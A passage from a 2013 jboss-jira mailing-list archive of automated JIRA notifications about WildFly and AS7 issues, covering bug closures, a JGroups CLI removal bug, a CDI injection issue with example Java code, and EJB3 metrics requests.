> * {{/subsystem=messaging/hornetq-server=default/bridge=*}}
> is deprecated and should be removed from the UI. The relevant classes in the UI are 
> * {{org.jboss.as.console.client.shared.subsys.messaging.model.ConnectionFactory}}
> * {{org.jboss.as.console.client.shared.subsys.messaging.model.Bridge}} 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:21:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:21:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1324) Add testing for slave Host
 Controller join to domain testsuite DefaultConfigSmokeTestCase
In-Reply-To: <JIRA.12491474.1368111995000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491474.1368111995000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491474.1368111995000.28576.1379362864432@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1324?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804658#comment-12804658 ] 

RH Bugzilla Integration commented on WFLY-1324:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 961523|https://bugzilla.redhat.com/show_bug.cgi?id=961523] from VERIFIED to CLOSED
                
> Add testing for slave Host Controller join to domain testsuite DefaultConfigSmokeTestCase
> -----------------------------------------------------------------------------------------
>
>                 Key: WFLY-1324
>                 URL: https://issues.jboss.org/browse/WFLY-1324
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management, Test Suite
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Alpha1
>
>
> DefaultConfigSmokeTestCase tests the "domain.xml + host.xml" config set, so a master running servers is tested. But "domain.xml + host-master.xml" is not tested nor is "host-slave.xml".  These latter two can be tested in combination, and that closes the whole where we aren't testing a slave joining a domain configured to use our default configs.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:21:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:21:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1466) Debugging Java Security
 Managers results in a StackOverflow on boot
In-Reply-To: <JIRA.12493776.1370560984000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493776.1370560984000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493776.1370560984000.28581.1379362864608@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1466?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804659#comment-12804659 ] 

RH Bugzilla Integration commented on WFLY-1466:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 963277|https://bugzilla.redhat.com/show_bug.cgi?id=963277] from VERIFIED to CLOSED
                
> Debugging Java Security Managers results in a StackOverflow on boot
> -------------------------------------------------------------------
>
>                 Key: WFLY-1466
>                 URL: https://issues.jboss.org/browse/WFLY-1466
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging, Security
>            Reporter: James Perkins
>            Priority: Critical
>
> Running with a security manager enabled and -{{Djava.security.debug=access:failure}} results in a {{StackOverflow}} and the server won't boot.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:21:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:21:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1437) Cannot remove JGroups
 subsystem from managed domain via CLI
In-Reply-To: <JIRA.12493372.1370108159000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493372.1370108159000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493372.1370108159000.28588.1379362864940@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1437?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804661#comment-12804661 ] 

RH Bugzilla Integration commented on WFLY-1437:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 968815|https://bugzilla.redhat.com/show_bug.cgi?id=968815] from VERIFIED to CLOSED
                
> Cannot remove JGroups subsystem from managed domain via CLI
> -----------------------------------------------------------
>
>                 Key: WFLY-1437
>                 URL: https://issues.jboss.org/browse/WFLY-1437
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering, Domain Management
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Alpha2
>
>
> Osamu Nagano reports:
> "Description of problem:
> In EAP 6.1 domain mode, try to create a new profile from scratch in CLI.  You can add jgroups subsystem but you cannot remove it with an error message.
> In standalone mode and both modes of EAP 6.0.1, you can successfully remove it.
> Steps to Reproduce:
> 1. Start EAP 6.1 in domain mode.  The default domain.xml is sufficient.
> 2. Connect to the DC by CLI.
> 3. Execute the following commands in CLI.
> --
> [domain at localhost:9999 /] /profile=test:add()
> [domain at localhost:9999 /] /profile=test/subsystem=jgroups:add(default-stack=udp)
> [domain at localhost:9999 /] /profile=test/subsystem=jgroups:remove()
> --
> Actual results:
> {
>     "outcome" => "failed",
>     "failure-description" => {"domain-failure-description" => "JBAS014807: Management resource '[(\"subsystem\" => \"jgroups\")]' not found"},
>     "rolled-back" => true
> }
> Expected results:
> {
>     "outcome" => "success",
>     "result" => undefined,
>     "server-groups" => undefined
> }
> "
> I see that the problem exists in WildFly as well.
> The problem is in JGroupsSubsystemRemove:
> ModelNode removeSubsystem = Util.createOperation(REMOVE, PathAddress.pathAddress(JGroupsExtension.SUBSYSTEM_PATH));
>         context.addStep(removeSubsystem, new OriginalSubsystemRemoveHandler(), OperationContext.Stage.MODEL, true);
> That PathAddress.pathAddress(JGroupsExtension.SUBSYSTEM_PATH) is incorrect in a managed domain, as it doesn't include the profile element. It's correct in a standalone server.
> Easy fix.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:21:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:21:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1668) Cache passwords from external
 source for LdapExtLoginModule doesn't work with {EXTC}
In-Reply-To: <JIRA.12496095.1373455272000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496095.1373455272000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496095.1373455272000.28601.1379362865327@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1668?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804667#comment-12804667 ] 

RH Bugzilla Integration commented on WFLY-1668:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 982539|https://bugzilla.redhat.com/show_bug.cgi?id=982539] from VERIFIED to CLOSED
                
> Cache passwords from external source for LdapExtLoginModule doesn't work with {EXTC}
> ------------------------------------------------------------------------------------
>
>                 Key: WFLY-1668
>                 URL: https://issues.jboss.org/browse/WFLY-1668
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Josef Cacek
>            Assignee: Peter Skopek
>
> Mechanism to obtain passwords from external sources for login modules works only with option {EXT} - non-cached. New feature to cache passwords with command option {EXTC[:timeout]} doesn't work. 
> Problem is propably in LdapExtLoginModule method createLdapInitContext, that doesn't deal with commands that starts with "{EXTC"

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:23:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:23:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-14) Remove deprecated attributes of
 messaging subsystem in console
In-Reply-To: <JIRA.12489555.1366104394000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489555.1366104394000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489555.1366104394000.28627.1379362984534@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-14?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804680#comment-12804680 ] 

RH Bugzilla Integration commented on WFLY-14:
---------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 908664|https://bugzilla.redhat.com/show_bug.cgi?id=908664] from VERIFIED to CLOSED
                
> Remove deprecated attributes of messaging subsystem in console
> --------------------------------------------------------------
>
>                 Key: WFLY-14
>                 URL: https://issues.jboss.org/browse/WFLY-14
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Console
>            Reporter: Harald Pehl
>            Assignee: Harald Pehl
>            Priority: Minor
>              Labels: console_1.5.3, merged
>             Fix For: 8.0.0.CR1
>
>
> The attribute {{failover-on-server-shutdown}} in 
> * {{/subsystem=messaging/hornetq-server=default/connection-factory=*}} and
> * {{/subsystem=messaging/hornetq-server=default/bridge=*}}
> is deprecated and should be removed from the UI. The relevant classes in the UI are 
> * {{org.jboss.as.console.client.shared.subsys.messaging.model.ConnectionFactory}}
> * {{org.jboss.as.console.client.shared.subsys.messaging.model.Bridge}} 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:23:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:23:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1370) Add ability to load CDI
 portable extensions from static modules
In-Reply-To: <JIRA.12492364.1369182200000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492364.1369182200000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492364.1369182200000.28631.1379362984600@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1370?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804681#comment-12804681 ] 

RH Bugzilla Integration commented on WFLY-1370:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 927895|https://bugzilla.redhat.com/show_bug.cgi?id=927895] from VERIFIED to CLOSED
                
> Add ability to load CDI portable extensions from static modules
> ---------------------------------------------------------------
>
>                 Key: WFLY-1370
>                 URL: https://issues.jboss.org/browse/WFLY-1370
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: CDI / Weld
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha2
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:23:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:23:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1242) Use JBoss Logging for
 resource adapter LogWriter
In-Reply-To: <JIRA.12485360.1361458720000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485360.1361458720000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485360.1361458720000.28673.1379362985994@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1242?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804692#comment-12804692 ] 

RH Bugzilla Integration commented on WFLY-1242:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 913804|https://bugzilla.redhat.com/show_bug.cgi?id=913804] from VERIFIED to CLOSED
                
> Use JBoss Logging for resource adapter LogWriter
> ------------------------------------------------
>
>                 Key: WFLY-1242
>                 URL: https://issues.jboss.org/browse/WFLY-1242
>             Project: WildFly
>          Issue Type: Task
>          Components: JCA
>            Reporter: Jesper Pedersen
>            Assignee: Stefano Maestri
>
> Have each resource adapter deployment use JBoss Logging for its LogWriter implementation.
> Logging category should include the resource adapter name (eis.rar), and activation id.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:23:06 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:23:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1630) LogWriter of
 ManagedConnectionFactory outputs nothing to stdout
In-Reply-To: <JIRA.12495597.1372830656000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495597.1372830656000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495597.1372830656000.28677.1379362986222@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1630?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804693#comment-12804693 ] 

RH Bugzilla Integration commented on WFLY-1630:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 913804|https://bugzilla.redhat.com/show_bug.cgi?id=913804] from VERIFIED to CLOSED
                
> LogWriter of ManagedConnectionFactory outputs nothing to stdout
> ---------------------------------------------------------------
>
>                 Key: WFLY-1630
>                 URL: https://issues.jboss.org/browse/WFLY-1630
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>            Reporter: Osamu Nagano
>            Assignee: Osamu Nagano
>             Fix For: 8.0.0.Alpha3
>
>
> ManagedConnectionFactory#setLogWriter() passes a PrintWriter object for logging use of the connector.  It is supposed to output log messages to stdout but none of the messages are observed.
> In WFLY-1242 an integration with JBoss Logging is planned but this specific fix is needed until the integration.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:23:07 2013
From: jira-events at lists.jboss.org (Martin Kouba (JIRA))
Date: Mon, 16 Sep 2013 16:23:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1960) CDI @Inject of @Stateless
 @WebService cause WELD-001408 Unsatisfied dependencies
In-Reply-To: <JIRA.12499428.1377603560000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499428.1377603560000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499428.1377603560000.28697.1379362987069@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1960?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804700#comment-12804700 ] 

Martin Kouba commented on WFLY-1960:
------------------------------------

The problem is the {{TestBean}} does NOT define a local client view - it doesn't implement a business interface and does not satisfy no-interface view requirements either. It only has a *web service client view*. See also EJB spec, 4.9.8 Session Bean?s No-Interface View:
{quote}
* If the bean does not expose any other client views (local, remote, no-interface, 2.x Remote Home, 2.x Local Home, Web Service) and its implements clause is empty, the bean defines a no-interface view.
...
{quote}

Furthermore the CDI spec, 3.2.2. Bean types of a session bean:
{quote}
The unrestricted set of bean types for a session bean contains all local interfaces of the bean and their superinterfaces. If the session bean has a bean class local view, the unrestricted set of bean types contains the bean class and all superclasses.
...
{quote}

I believe that "bean class local view" is referencing EJB no-interface view (I'm not sure though and will raise a CDI spec issue). If so the set of bean types for TestBean contains only {{java.lang.Object}} and so the test deployment should result in unsatisfied dependency.

I'm not sure whether @EJB injection should work or not, but given that JAX-WS web services are accessible via JNDI it may work by coincidence.

Note that if you annotate {{TestBean}} with {{javax.ejb.LocalBean}} (explicitly state a session bean exposes a no-interface view) the test passes.
                
> CDI @Inject of @Stateless @WebService cause WELD-001408 Unsatisfied dependencies
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-1960
>                 URL: https://issues.jboss.org/browse/WFLY-1960
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld, EJB, Web Services
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Aslak Knutsen
>            Assignee: Martin Kouba
>
> CDI @Inject of @WebService does not work. 
> {code}
> import javax.ejb.Stateless;
> import javax.jws.WebService;
>  
> @Stateless
> @WebService
> public class TestBean {
> }
>  
>  
> import javax.inject.Inject;
>  
> import org.jboss.arquillian.container.test.api.Deployment;
> import org.jboss.arquillian.junit.Arquillian;
> import org.jboss.shrinkwrap.api.ShrinkWrap;
> import org.jboss.shrinkwrap.api.asset.EmptyAsset;
> import org.jboss.shrinkwrap.api.spec.WebArchive;
> import org.junit.Test;
> import org.junit.runner.RunWith;
>  
>  
> @RunWith(Arquillian.class)
> public class TestBeanIT {
>  
>     @Inject
>     TestBean bean;
>  
>     @Deployment
>     public static WebArchive createDeployment() {
>         WebArchive arch =  ShrinkWrap.create(WebArchive.class);
>         arch.addClass(TestBean.class);
>         arch.addAsWebInfResource(EmptyAsset.INSTANCE, "beans.xml");
>         return arch;
>     }
>  
>     @Test
>     public void fooTest() throws Exception {
>  
>     }
> }
> {code}
> Using CDI to do a non contextual injection on a class where @EJB is used instead of @Inject works.
> {code}
> @RunWith(Arquillian.class)
> public class TestBeanIT {
>  
>     @EJB
>     TestBean bean;
>     ...
> }
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 16 16:23:07 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:23:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1590) Add missing cache statistics
 in EJB3 deployment metrics
In-Reply-To: <JIRA.12495136.1372242436000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495136.1372242436000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495136.1372242436000.28700.1379362987212@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1590?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804701#comment-12804701 ] 

RH Bugzilla Integration commented on WFLY-1590:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 911117|https://bugzilla.redhat.com/show_bug.cgi?id=911117] from VERIFIED to CLOSED
                
> Add missing cache statistics in EJB3 deployment metrics
> -------------------------------------------------------
>
>                 Key: WFLY-1590
>                 URL: https://issues.jboss.org/browse/WFLY-1590
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Chao Wang
>            Assignee: Chao Wang
>             Fix For: 8.0.0.Alpha3
>
>
> EJB3 deployment metrics is missing from EJB3 subsystem, part of them have been added in https://issues.jboss.org/browse/WFLY-38, we also need to provide the missing cache statistics:
> Cache Size - Cache Size
> Passivated Count - Passivated Count
> Total Size - Total Size

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:23:08 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:23:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-38) EJB3 deployment metrics missing
In-Reply-To: <JIRA.12463665.1334140001000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463665.1334140001000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463665.1334140001000.28718.1379362988074@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-38?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804706#comment-12804706 ] 

RH Bugzilla Integration commented on WFLY-38:
---------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 911117|https://bugzilla.redhat.com/show_bug.cgi?id=911117] from VERIFIED to CLOSED
                
> EJB3 deployment metrics missing
> -------------------------------
>
>                 Key: WFLY-38
>                 URL: https://issues.jboss.org/browse/WFLY-38
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Stefan Negrea
>            Assignee: Carlo de Wolf
>            Priority: Critical
>              Labels: rhq
>             Fix For: 8.0.0.Alpha1
>
>
> The following metrics are missing from AS7 EJB3 subsystem from deployment when compared to AS5 exposed metrics:
> Stateless Session Bean
> Method Invocation Time - The minimum, maximum, and average invocation times for each of the methods exposed by this EJB
> Stateful Session Bean
> Method Invocation Time - The minimum, maximum, and average invocation times for each of the methods exposed by this EJB
> Cache Size - Cache Size
> Passivated Count - Passivated Count
> Total Size - Total Size

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:23:08 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:23:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1782) ASYNC-tcp tests should have
 cacheMode set to ASYNC
In-Reply-To: <JIRA.12497580.1375185255000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497580.1375185255000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497580.1375185255000.28723.1379362988307@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1782?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804708#comment-12804708 ] 

RH Bugzilla Integration commented on WFLY-1782:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 989543|https://bugzilla.redhat.com/show_bug.cgi?id=989543] from VERIFIED to CLOSED
                
> ASYNC-tcp tests should have cacheMode set to ASYNC
> --------------------------------------------------
>
>                 Key: WFLY-1782
>                 URL: https://issues.jboss.org/browse/WFLY-1782
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering, Test Suite
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>            Priority: Minor
>             Fix For: 8.0.0.Alpha4
>
>
> testsuite/integration/clust/pom.xml
> <cacheMode>SYNC</cacheMode> is used for SYNC-tcp tests instead of <cacheMode>ASYNC</cacheMode>

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:23:09 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:23:09 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1553) Infinispan subsystem ignores
	cluster name
In-Reply-To: <JIRA.12494591.1371594475000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494591.1371594475000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494591.1371594475000.28741.1379362989177@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1553?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804714#comment-12804714 ] 

RH Bugzilla Integration commented on WFLY-1553:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 975609|https://bugzilla.redhat.com/show_bug.cgi?id=975609] from VERIFIED to CLOSED
                
> Infinispan subsystem ignores cluster name
> -----------------------------------------
>
>                 Key: WFLY-1553
>                 URL: https://issues.jboss.org/browse/WFLY-1553
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Dennis Reed
>            Assignee: Paul Ferraro
>            Priority: Critical
>             Fix For: 8.0.0.Alpha3
>
>
> The Infinispan subsystem uses the name of the cache container as the cluster name, instead of the name configured in <transport cluster="foo"/>.
> This is a critical issue when using a gossip router, as only the cluster name determines what nodes form a cluster.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:25:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1841) Upgrade aesh to 0.33.7
In-Reply-To: <JIRA.12498122.1375861365000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498122.1375861365000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498122.1375861365000.28745.1379363104332@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1841?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804715#comment-12804715 ] 

RH Bugzilla Integration commented on WFLY-1841:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 961425|https://bugzilla.redhat.com/show_bug.cgi?id=961425] from VERIFIED to CLOSED
                
> Upgrade aesh to 0.33.7
> ----------------------
>
>                 Key: WFLY-1841
>                 URL: https://issues.jboss.org/browse/WFLY-1841
>             Project: WildFly
>          Issue Type: Component  Upgrade
>            Reporter: Carlo de Wolf
>            Assignee: Carlo de Wolf
>            Priority: Critical
>             Fix For: 8.0.0.Alpha4
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:25:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:25:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-6759) Console should react properly
 to loss of connection
In-Reply-To: <JIRA.12487602.1363774008000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12487602.1363774008000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12487602.1363774008000.28762.1379363105309@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-6759?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804726#comment-12804726 ] 

RH Bugzilla Integration commented on AS7-6759:
----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 910718|https://bugzilla.redhat.com/show_bug.cgi?id=910718] from VERIFIED to CLOSED
                
> Console should react properly to loss of connection
> ---------------------------------------------------
>
>                 Key: AS7-6759
>                 URL: https://issues.jboss.org/browse/AS7-6759
>             Project: Application Server 7
>          Issue Type: Feature Request
>          Components: Console
>            Reporter: Heiko Braun
>            Assignee: Harald Pehl
>              Labels: console_1.5.3, merged
>
> Codesplit error handling leads to freeze

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:25:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:25:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1534) HAL Release Stream 1.5.4.Final
In-Reply-To: <JIRA.12494312.1371223272000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494312.1371223272000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494312.1371223272000.28767.1379363105577@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1534?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804727#comment-12804727 ] 

RH Bugzilla Integration commented on WFLY-1534:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 979355|https://bugzilla.redhat.com/show_bug.cgi?id=979355] from VERIFIED to CLOSED
                
> HAL Release Stream 1.5.4.Final
> ------------------------------
>
>                 Key: WFLY-1534
>                 URL: https://issues.jboss.org/browse/WFLY-1534
>             Project: WildFly
>          Issue Type: Task
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Harald Pehl
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:25:06 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:25:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1431)
 org.jboss.as.test.integration.ejb.interceptor.lifecycle.chains.InterceptorLifecycleSFSBTestCase
 failed
In-Reply-To: <JIRA.12493288.1369994468000@jira02.app.mwc.hst.phx2.redhat.com>
